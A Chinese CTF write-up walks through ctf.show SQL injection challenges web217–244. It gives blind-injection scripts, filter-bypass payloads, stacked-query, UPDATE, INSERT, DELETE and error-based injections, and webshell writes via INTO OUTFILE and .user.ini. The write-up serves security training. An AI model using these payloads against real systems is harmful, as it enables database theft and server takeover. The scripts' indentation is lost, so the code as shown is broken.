url="http://575cfc85-1af4-4f6c-946e-74ee27a1dc36.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询库名
data={'ip':f"if(substr(database(),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)",
'debug':1}
# 查询表名
data={'ip':f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)",
'debug':1}
# 查询列名
data={'ip':f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)",
'debug':1}
# 查询字段值
data={'ip':f"if(substr((select flagaabc from ctfshow_flagxccb),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)",
'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
if(2<=sub_time<3):
flag+=chr(j).lower()
print(flag)
break
查出表名是ctfshow_flagxccb,字段名是flagaabc,最终flag为

web218

这一次将benchmark也给过滤了。原本我是拿笛卡尔积做的,但是发现应该是下一题用笛卡尔积,为了每种方法都练到,所以此题我也使用rlike正则匹配来解。
原理:利用 SQL 多次计算正则消耗计算资源产生延时效果,与 benchmark 原理类似,通过 rpad 或 repeat 构造长字符串,以计算量大的 pattern。
比如这个payload在我这里的延迟是1s多(一切以自己实际测试为准)
ip=if(substr(database(),1,1)='c',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)&debug=1

但是在调试脚本的时候我发现,这个时间区间的范围非常有讲究。可以将 # print(sub_time)解开注释自行分析,我发现一个很神奇的地方就是,如果输出了正确的字符在我这里时间延迟大概是0.9s多,但是如果我的时间上限设置的比较大就经常性的会匹配到错误的字符(一般时间延迟是1.05-1.10s),具体原因我并不知道但是0.9s-1.05s以内匹配到的基本都是正确的字符。
比如下面这个1.07s匹配到的是一个分号:这显然错误

但是0.9s多的就匹配正确

也就是说我们的时间范围不能很大了,必须要精确一点。
我这里修改脚本的时间区间为0.9-1.05之间,并替换对应payload。(时间区间以自己的为主)。
我这边修改区间以后就没有出现输出错误的情况
# author:木子子子
import time
import requests
import string
url="http://b0e995c6-083a-4f62-ac71-bfe19bb3aafc.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询库名
data={'ip':f"if(substr(database(),{i},1)=chr({j}),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)",
'debug':1}
# # 查询表名
data={'ip':f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i},1)=chr({j}),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)",
'debug':1}
# 查询列名
data={'ip':f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1)=chr({j}),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)",
'debug':1}
# 查询字段值
data={'ip':f"if(substr((select flagaac from ctfshow_flagxc),{i},1)=chr({j}),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)",
'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
# print(sub_time)
if(0.9<=sub_time<1.05):
flag+=chr(j).lower()
print(flag)
break
查到表名是ctfshow_web,列名是flagaac,最终flag为

web219
这一次将rlike给过滤了,其实可以直接用regexp代替,这两个的效果一样。
也可以使用笛卡尔积的方式替代,下面我就以笛卡尔积为例子。
原理:通过构造包含笛卡尔积的查询语句,利用其执行时产生的大量数据计算耗时。为什么说是笛卡尔积呢?这时因为当两个表进行连接查询时,如果没有指定有效的连接条件(如WHERE table1.id = table2.id),数据库会返回两个表中所有行的所有可能组合。而我们都知道mysql中有一个information_schema数据库,几乎所有数据都存在里面。所以它被拿来当作查询的对象。比如下面这个payload:
ip=select count(*) from information_schema.columns A,information_schema.columns B&debug=1
可以发现注入后确实会延迟一会,但是也不久,一般都是0.5s-1s。换成3个表的笛卡尔积时间又太久了。

放在脚本中测试一下时间

发现时间延迟在0.3-0.4之间就都是正确输出。
所以我们修改一下脚本,用这个payload替换延迟部分,并且修改时间判断为0.3-0.5。(一切以自己测试为准)。
# author:木子子子
import time
import requests
import string
url="http://f27720b7-5ea8-4ae9-bb91-2604d77940c9.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询表名
data={'ip':f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i},1)=chr({j}),(select count(*) from information_schema.columns A,information_schema.columns B),0)",
'debug':1}
# 查询列名
data={'ip':f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1)=chr({j}),(select count(*) from information_schema.columns A,information_schema.columns B),0)",
'debug':1}
# 查询字段值
data={'ip':f"if(substr((select flagaabc from ctfshow_flagxca),{i},1)=chr({j}),(select count(*) from information_schema.columns A,information_schema.columns B),0)",
'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
# print(sub_time)
if(0.3<sub_time<0.5):
# print(sub_time)
flag+=chr(j).lower()
print(flag)
break
最终flag为

一个字符也没错
web220
解到时间盲注的最后一题了才发现在题目列表给出了waf,也是被web214整怕了哈哈哈

可以看到过滤了挺多的,substr和mid,concat都给过滤了。并且过滤了三个时间盲注的函数。
这里仍然可以用笛卡尔积的方式,substr则用left与right的组合技来绕过。脚本如下:
这个脚本我优化的还是不好,偶尔还是会有错误的输出,并且最后会将最后一个字符重复输出,我也不知道咋优化了,我的解决办法就是多跑两遍。
# author:木子子子
import time
import requests
import string
url="http://94ebac0e-b37c-43ec-982d-38125a596521.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询表名(用 right(left(...),1) 代替 substr)
data={'ip':f"if(right(left((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i}),1)=chr({j}),(select count(*) from information_schema.columns A,information_schema.columns B),0)",
'debug':1}
# 查询列名
data={'ip':f"if(right(left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{i}),1)=chr({j}),(select count(*) from information_schema.columns A,information_schema.columns B),0)",
'debug':1}
# 查询字段值
data={'ip':f"if(right(left((select flagaabcc from ctfshow_flagxcac),{i}),1)=chr({j}),(select count(*) from information_schema.columns A,information_schema.columns B),0)",
'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
# print(sub_time)
if(0.3<sub_time<0.5):
print(sub_time)
flag+=chr(j).lower()
print(flag)
break
表名:ctfshow_flagxcac,列名:flagaabcc,最终flag

将}后面的去掉,提交发现是正确的。
脚本还是写的不够好,还得多练。
web221(limit注入)

我们需要给 page 和 limit 传参,并且根据提示只需要查到数据库名就行。
先看一下limit后可以跟上什么语句:
SELECT ...
[LIMIT ...] -- 限制结果行数(独立子句)
[PROCEDURE ...] -- 调用存储过程式的处理(独立子句)
[INTO ...] -- 结果输出(如导出文件、赋值变量)
[FOR UPDATE ...] -- 锁机制
其中into语句需要有写入shell的权限才能使用,在本题中并没有权限。
而 procerdure 可以跟 analyse 函数,analyse 可以有两个参数,这里有两种注入方式:
- 报错注入
extractvalue报错注入
procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)
0x7e,即 '~' ,extractvalue 只有两个参数,它的第二个参数都要求是符合 xpath 语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,'~' 不是 xml 实体,所以会报错。
updatexml报错注入
procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)
- BENCHMARK时间盲注
PROCEDURE analyse ((select extractvalue(rand(), concat(0x3a,(IF(MID(version(),1,1)
LIKE 5, BENCHMARK(5000000, SHA1(1)),1))))),1)
题目只要求查到数据库名即可,那么payload如下
/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)
/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)

其中ctfshow_web_flag_x便是flag
web222(group by注入)

此题使用了groupby分组查询,先查看一下注入点是什么。

很明显注入点是u,原本我的思路是通过floor报错注入,但是发现报错信息并不会回显。并且group by 后面也不能跟union进行联合注入。所以只能考虑盲注。
首先测试的是bool盲注
http://099c3056-d7df-42b8-9b4b-4f4d42bd11fd.challenge.ctf.show/api/?u=if(substr(database(),1,1)='c',username,0)
可以发现,当if中的第二个参数为username时,会有回显,为别的则没有回显。

并且有回显的时候有一个明显特征”passwordAUTO“,可以将其作为bool盲注的判断依据写一个脚本。
import requests
import string
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 查询库名
url = f"http://099c3056-d7df-42b8-9b4b-4f4d42bd11fd.challenge.ctf.show/api/?u=if(substr(database(),{i},1)=chr({j}),username,0)"
# 查询表名
url = f"http://099c3056-d7df-42b8-9b4b-4f4d42bd11fd.challenge.ctf.show/api/?u=if(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1)=chr({j}),username,0)"
# 查询列名
url = f"http://099c3056-d7df-42b8-9b4b-4f4d42bd11fd.challenge.ctf.show/api/?u=if(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flaga'),{i},1)=chr({j}),username,0)"
#print(data)
# 查询字段值
url = f"http://099c3056-d7df-42b8-9b4b-4f4d42bd11fd.challenge.ctf.show/api/?u=if(substr((select flagaabc from ctfshow_flaga),{i},1)=chr({j}),username,0)"
r=requests.get(url)
# print(r.text)
if("passwordAUTO" in r.text):
flag+=chr(j).lower()
print(flag)
break
跑出表名为ctfshow_flaga,列名为flagaabc,最终flag为

web223

本题与上一题的区别在于用户名不能是数字,也就是不能存在数字。
这里可以使用前面web185的concat(true+true,true)的方式获得数字,或者可以使用ascii(%01)=1这种方式获得数字。由于自己写脚本能力过于垃圾,这边便引用两个师傅的脚本。
羽师傅的脚本:
# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://7d355aba-d72d-4044-9bf2-40dcce71d513.challenge.ctf.show/api/index.php"
s='abcdeftshow-{}0123456789'
flag=''
for i in range(0,10):
for j in range(0,10):
print(str(i)+str(j))
for k in s:
ii=f'concat(ascii("%0{i}"),ascii("%0{j}"))'
if k not in '0123456789':
#print(k)
u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),{ii},ascii('%01'))='{k}',username,'a')"
else:
u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),{ii},ascii('%01'))=ascii('%0{k}'),username,'a')"
r = requests.get(u)
#print(u)
if "passwordAUTO" in r.text:
flag+=k
print(flag)
break
gkjzjh146师傅的:
import requests
import time
url = 'http://90b8ab81-6a05-4ebc-ab88-62e8442c0e89.challenge.ctf.show/api/?u='
str = ''
def num2true(num):
str = '(' + 'true%2b' * (num-1) + 'true)'
return str
a = num2true(1)
# print(a)
for i in range(1, 60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{num2true(i)},true))<{num2true(j)},username,true)"
# 爆列
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{num2true(i)},true))<{num2true(j)},username,true)"
# 爆值
payload = f"if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{num2true(i)},true))<{num2true(j)},username,true)"
r = requests.get(url=url+payload).text
# print(r)
if 'passwordAUTO' in r:
max = j
else:
min = j

web224(文件类型注入)
打开题目是一个登录框

测试了一下并不是登录框的sql注入。
信息收集,在robots.txt里发现了修改密码的页面pwdreset.php。访问发现可以直接修改admin的密码,将其修改为123。

然后登录。

发现是一个文件上传,但是通过fuzz测试发现大部分的后缀都上传不了。看了 wp 是文件类型注入,后台会通过读取文件内容判断文件类型,记录到数据库,对文件进行重命名。
新建一个txt文件
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/muma.php';--+
C64File 是与 Commodore 64 相关的文件类型,之后闭合,写入 sql 语句,其中0x3c3f3d60245f4745545b315d603f3e是\<?=$_GET[1]?>的十六进制编码。

上传成功以后便可以访问muma.php,并执行命令

web225(开始堆叠提升)
又回到了堆叠注入

可以看到这一次过滤的非常多,但是依旧可以使用show查看各种信息。并且仍然是通过api来传递参数的。

查看表名
?username=0';show tables;#

查到表名ctfshow_flagasa。
查看列名
?username=0';show columns from ctfshow_flagasa;#

查看flag的字段名是flagas,但是尴尬的地方就是show并无法直接查看字段的值。
这里看My6n师傅的博客学到了一种方式(但是本题将alter过滤了所以这种方式对本题无效)
https://myon6.blog.csdn.net/article/details/129805447
思路如下:
由于我们想拿到flagas字段的值是要查ctfshow_flagasa表,然而题目中给出的sql语句是查ctfshow_web表的。那么我们便可以将ctfshow_web这个表重命名为ctfshow_flagasa表,然后将对应的字段名改为flagas。然后我们通过万能密码便能查出flag了。
使用 RENAME TABLE 语句来重命名一个表:
RENAME TABLE old_table_name TO new_table_name;
使用 ALTER TABLE 配合 CHANGE 语句来重命名列名:
ALTER TABLE table_name CHANGE old_column_name new_column_name datatype;
由于本题过滤了alter所以上面的方式不能拿来解题,只是学习了一种新的思路。
本题是通过Handler语句来解题
handler 是 mysql 的专用语句,没有包含到 SQL 标准中,但它每次只能查询 1 次记录,而 select 可以根据需要返回多条查询结果。
hander `表名` open; // 打开一个表
handler`表名`read frist; // 查询第一个数据
handler`表名`read next; // 查询之后的数据直到最后一个数据返回空
payload:
0';handler`ctfshow_flagasa` open;handler`ctfshow_flagasa`read next;#
预期解:prepare + execute
prepare语句用于准备一条sql语句,并且可以为这个sql语句自定义一个名称。然后通过execute执行这个sql语句。最后使用 DEALLOCATE PREPARE 命令释放。
payload:
0';prepare test from concat("sel","ect * from `ctfshow_flagasa`");execute test;deallocate prepare#
web226(prepare预处理)

这一次将show与括号给过滤了,所以不能使用handler解题了。
这里使用十六进制的方式绕过括号
?username=0';prepare test from 0x73656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d646174616261736528293b;execute test;#
其中的HEX解码后为
select table_name from information_schema.tables where table_schema=database();

查出表名为ctfsh_ow_flagas。然后查询字段值
?username=0';prepare test from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c61676173273b;execute test;#

查出字段名为flagasb。
获取字段值
?username=0';prepare test from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c616761733b;execute test;#

web227(查看存储过程和函数的状态)

新增过滤db与逗号,但是对我们上一关的payload并没有影响,所以继续尝试上一关的payload。
?username=0';prepare test from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d646174616261736528293b;execute test;#

查出表名只有一个,并且发现按照这种方式做下去并不能找到flag字段。
我们还可以尝试往网站根目录下写入木马文件
?username=0';prepare test from 0x73656c65637420273c3f706870206576616c28245f504f53545b636d645d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f6d756d612e706870273b;execute test;#
HEX解码是
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/muma.php';
还是发现根本找不到放flag 的文件。
这里看了wp才知道,这道题需要查看存储过程和函数的状态,在 information_schema.ROUTINES 表里便是存储过程和函数的详细信息。我们可以直接查这个表下的所有内容。
select * from information_schema.ROUTINES;
payload:
?username=0';prepare test from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e524f5554494e45533b;execute test;#

web228

可以看到多了一个查询banlist表。
我们还是先查询表名
?username=0';prepare test from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d646174616261736528293b;execute test;#

查到表ctfsh_ow_flagasaa。
然后查字段名
?username=0';prepare test from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c616761736161273b;execute test;#

查到flag的字段值为flagasba。
读字段值
?username=0';prepare test from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c6167617361613b;execute test;#

直接拿到flag。
web229

依旧使用prepare预处理便能解决
查表名
?username=0';prepare test from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d646174616261736528293b;execute test;#
查出是flag表
查列名
?username=0';prepare test from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c6167273b;execute test;#
查出是flagasba字段
?username=0';prepare test from 0x73656c65637420666c6167617362612066726f6d20666c61673b;execute test;#

web230

依旧是使用prepare预处理
?username=0';prepare test from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d646174616261736528293b;execute test;#
查出表名是flagaabbx
?username=0';prepare test from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c61676161626278273b;execute test;#
查出字段名是flagasbas
?username=0';prepare test from 0x73656c65637420666c616761736261732066726f6d20666c616761616262783b;execute test;#

web231(开始update注入)

依旧是通过api传参,并且是通过POST的方式提交。
update注入的思路其实也是闭合前面的引号,然后构造成自己希望的update语句。
payload:
password=database()',username=123#&username=111
这个payload套到语句中效果如下
$sql = "update ctfshow_user set pass = 'database()',username=123#' where username = '111';";
通过#将后面的where条件判断注释了,最后效果如下

可以发现将所有的用户名改为了111,密码改为了database()。原本我是想执行这个函数让其回显的,但是直接当作字符串了。那尝试放在username处看能否回显。
password=123',username=database()#&username=111
出现如下unicode编码便说明更新成功了

回到首页刷新一下

成功将数据库名回显了,同样的方式便能将表名,列名和字段值回显。
查表名
password=123',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=111

发现flaga表。
查字段名
password=123',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=111

查得flagas字段。
读取字段值
password=123',username=(select flagas from flaga)#&username=111


web232

无非就是给password外面套了个md5加密,我们多加个)闭合即可
password=123'),username=database()#&username=111

查表名
password=123'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=111

查列名
password=123'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=111

获取字段值
password=123'),username=(select flagass from flagaa)#&username=111

web233

这一题看似与web231没什么区别,但是我使用web231的做法,发现无法成功。

说是无过滤,但是无法使用web231的做法的原因我不是很清楚。
本题使用转义符\便可以巧妙的解决
password=\&username=,username=database()#
这个payload带入语句中便是
$sql = "update ctfshow_user set pass = '\' where username = ',username=database()#';";
使用转义符以后,pass就是' where username = ',然后username=database()回显。
效果如下

然后便能查表名,列名和字段值
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flag233333')#
password=\&username=,username=(select flagass233 from flag233333)#

web234

又和前面没区别,说是无过滤,但是可能又在哪使坏。
尝试上一题的做法。
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查到flag23a表。
查字段名
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flag23a')#

显示查询失败,想必是对单引号进行了过滤,我们采用十六进制的方式绕过
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

查到flagass23s3字段,读取字段的值
password=\&username=,username=(select flagass23s3 from flag23a)#

web235(无列名注入)

本题告诉我们将or与单引号'给过滤了,十分不幸我们的information_schema中包含or这个单词,并且尝试双写,大小写,或者十六进制编码都无法绕过。相当于给information_schema判处了死刑。这其实也非常正常,这么危险的表一般都会禁用掉,那还有别的方式能够获取表名列名以及读取字段值吗?
这里有几篇参考文章:
绕过information_schema:
https://blog.csdn.net/zhangge3663/article/details/116601858
无列名注入:
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
https://zhuanlan.zhihu.com/p/98206699
详细的可以自行看文章,我便不赘述了。
首先我们要解决的是读取表名
当information_schema被过滤的时候可以使用下面几种方式读取表名(逐一尝试):
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
读取一下本题的表名(我试了一下基本都能用)
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)#
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

找到flag23a1表。
下面便是要读取列名以及字段值,这里采用无列名注入。
password=\&username=,username=(select group_concat(`2`)from(select 1,2,3 union select * from flag23a1)test)#

web236

这一次说是将flag给过滤了,但是发现使用上一关的payload也依然成功
password=\&username=,username=(select group_concat(`2`)from(select 1,2,3 union select * from flaga)test)#

web237(insert注入)

insert注入的思路仍然是闭合单引号,构造想要的insert语句,万变不离其宗。
使用单引号闭合username的引号,然后使用)闭合value的右括号,然后将剩余的注释掉即可。
1',database())#
代入语句中当于(#后面的去掉)
insert into ctfshow_user(username,pass) value('1',database())
效果

同理,查表名列名字段值
1',(select group_concat(table_name)from information_schema.tables where table_schema=database()))#
1',(select group_concat(column_name)from information_schema.columns where table_name='flag'))#
1',(select flagass23s3 from flag))#

web238
比上一关多过滤了空格,好像过滤的还挺全的,我试了好几种都没绕过。但是发现可以使用括号绕过。
1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()))#
1',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flagb'))#
1',(select(flag)from(flagb)))#

web239
过滤空格与or。
这样information_schema便无法使用了,前面web235刚遇到过,可以使用mysql.innodb_table_stats代替查表名。
1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)=database()))#
读得表名为flagbb
这里使用前面的无列名注入发现成功不了,一直显示插入错误,发现是*被过滤了。
1',(select(group_concat(`2`))from(select(1,2,3)union(select(*)from(flagbb))))#
猜测字段名是flag,直接读
1',(select(flag)from(flagbb)))#

web240
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

将sys与mysql过滤了,但是给了提示,那直接爆破得了。
import requests
url = 'http://7b03a01f-e148-4e7d-8153-1ecf44192dbd.challenge.ctf.show/api/insert.php'
dic = 'ab'
for i in dic:
for j in dic:
for k in dic:
for l in dic:
for m in dic:
table = 'flag'
table =table+i+j+k+l+m
print(table)
data = {'username':f"1',(select(flag)from({table})))#",'password':123}
r = requests.post(url,data)
跑完回到网页刷新

web241(delete注入)

随便删除一条看看

发现依旧是通过api传参,且是POST的方式。
直接访问/api/delete.php传参,测试发现有两个状态,一种是删除成功,一种是删除失败,所以理论上是可以进行bool盲注的,但是页数不足以我们爆破出所有信息。
所以尝试一下时间盲注
id=if(1=1,sleep(3),0)
可以发现确实有延迟,但是延迟太久太久了直接504超时了。我便换成benchmark试试
id=benchmark(5000000,sha(1))
发现这个延迟只有2-3s适合用来时间盲注。

脚本如下
# author:木子子子
import time
import requests
import string
url="http://1815f4b8-391e-4c5f-bd09-6fefbf1e6f9e.challenge.ctf.show/api/delete.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询库名
data={'id':f"if(substr(database(),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)"}
# 查询表名
data={'id':f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)"}
# 查询列名
data = {
'id': f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)"}
# 查询字段值
data = {
'id': f"if(substr((select flag from flag),{i},1)=chr({j}),benchmark(5000000,sha(1)),0)"}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
if(2<=sub_time<3):
flag+=chr(j).lower()
print(flag)
break
最终跑出flag为

web242(file文件读写)

上来依旧找不到注入点,甚至也抓不到跑看。看WP才知道注入点在/api/dump.php。
对于文件读写的注入方式基本都是写木马,但是这里可控的参数在路径里面,我们想通过union select ....的方式写入木马是行不通的。
这里我从Yn8rt师傅的博客里学到下面几种写码的方法(下面内容转载自链接内容):
https://blog.csdn.net/qq_50589021/article/details/119861887
利用info outfile的扩展参数来写码:
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`COLUMNS TERMINATED BY '字符串'`:设置列之间的分隔符
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
其中可以用来写码的有如下几种
into outfile '路径' + lines terminated by + <木马>
into outfile '路径' + lines starting by + <木马>
into outfile '路径' + fields terminated by + <木马>
into outfile '路径' + columns terminated by + <木马>
payload:
filename=muma.php' lines terminated by "<?php eval($_POST[cmd])?>"#

将unicode解码后显示导出muma.php成功。
导出的文件路径是/var/www/html/dump/muma.php访问便能执行命令

flag在flag.here,直接tac

拿到flag
web243

新增了过滤php,那么便不能直接写入muma.php文件了,可以写入txt文件,然后通过.user.ini配置文件文件包含1.txt文件,从而执行恶意代码。
访问一下是否存在index.php文件。

发现此文件是存在的,只不过被403了。
回到/api/dump.php传参
filename=1.txt' lines starting by "<?=eval($_POST['cmd']);?>"#
由于过滤了php,所以一句话木马换成短标签。
filename=.user.ini' lines starting by "auto_prepend_file=1.txt\n"#
结尾的\n是为了防止与原本的内容连在一起导致失效。
然后访问/dump/index.php便能执行命令

web244(开始报错注入)

测试发现依旧是通过/api/传参,并且请求方法是GET

既然说是报错注入,尝试updatexml报错注入。
updatexml的原理便是,只要第二个参数不是正确的路径就会报错,所以可以在第二个参数处写入我们想执行的查询语句。
获取数据库名
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

获取表名
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

获取列名
?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+

读取字段值
